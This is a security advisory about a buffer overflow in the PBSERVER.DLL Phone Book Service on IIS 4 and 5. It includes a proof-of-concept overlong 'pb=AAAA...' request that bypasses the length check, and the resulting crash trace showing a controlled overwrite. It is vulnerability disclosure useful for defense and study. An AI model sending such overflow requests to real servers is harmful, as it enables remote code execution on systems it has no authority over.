57 lines
No EOL
2.5 KiB
Text
57 lines
No EOL
2.5 KiB
Text
source: https://www.securityfocus.com/bid/2048/info
|
|
|
|
The Phone Book Service is an optional component that ships with the NT 4 Option Pack and Windows 2000. It is not installed by default.
|
|
|
|
A buffer overflow vulnerability was discovered in the URL processing routines of the Phone Book Service requests on IIS 4 and IIS 5. If exploited, this vulnerability allows an attacker to execute arbitrary code and obtain a remote command shell with those privileges of the IUSR_machinename account (IIS 4) or the IWAM_machinename account (IIS 5).
|
|
|
|
The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/
|
|
|
|
According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format:
|
|
|
|
|
|
|
|
http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
|
|
ver=&pb=<STRING=db name>
|
|
|
|
In the DLL checks the total lenght to ensure that request does not exceed
|
|
1024 bytes, however it is
|
|
possible to overflow a local variable of fixed length in the DLL by sending
|
|
a request with
|
|
the following form:
|
|
|
|
GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars)
|
|
HTTP/1.0\n\n
|
|
|
|
The result is an exception reported in the Event log with source WAM like
|
|
the following:
|
|
|
|
The HTTP server encountered an unhandled exception while processing the
|
|
ISAPI Application '
|
|
+ 0x41414143
|
|
+ 0x41414139
|
|
pbserver!HttpExtensionProc + 0x1C
|
|
wam!DllGetClassObject + 0x808
|
|
RPCRT4!NdrServerInitialize + 0x4DB
|
|
RPCRT4!NdrStubCall2 + 0x586
|
|
RPCRT4!CStdStubBuffer_Invoke + 0xC1
|
|
ole32!StgGetIFillLockBytesOnFile + 0x116EC
|
|
ole32!StgGetIFillLockBytesOnFile + 0x12415
|
|
ole32!DcomChannelSetHResult + 0xDF0
|
|
ole32!DcomChannelSetHResult + 0xD35
|
|
ole32!StgGetIFillLockBytesOnFile + 0x122AD
|
|
ole32!StgGetIFillLockBytesOnFile + 0x1210A
|
|
ole32!StgGetIFillLockBytesOnFile + 0x11E22
|
|
RPCRT4!NdrServerInitialize + 0x745
|
|
RPCRT4!NdrServerInitialize + 0x652
|
|
RPCRT4!NdrServerInitialize + 0x578
|
|
RPCRT4!RpcSmDestroyClientContext + 0x9E
|
|
RPCRT4!NdrConformantArrayFree + 0x8A5
|
|
RPCRT4!NdrConformantArrayFree + 0x3FC
|
|
RPCRT4!RpcBindingSetOption + 0x395
|
|
RPCRT4!RpcBindingSetOption + 0x18E
|
|
RPCRT4!RpcBindingSetOption + 0x4F8
|
|
KERNEL32!CreateFileA + 0x11B
|
|
|
|
For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp.
|
|
|
|
By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine. |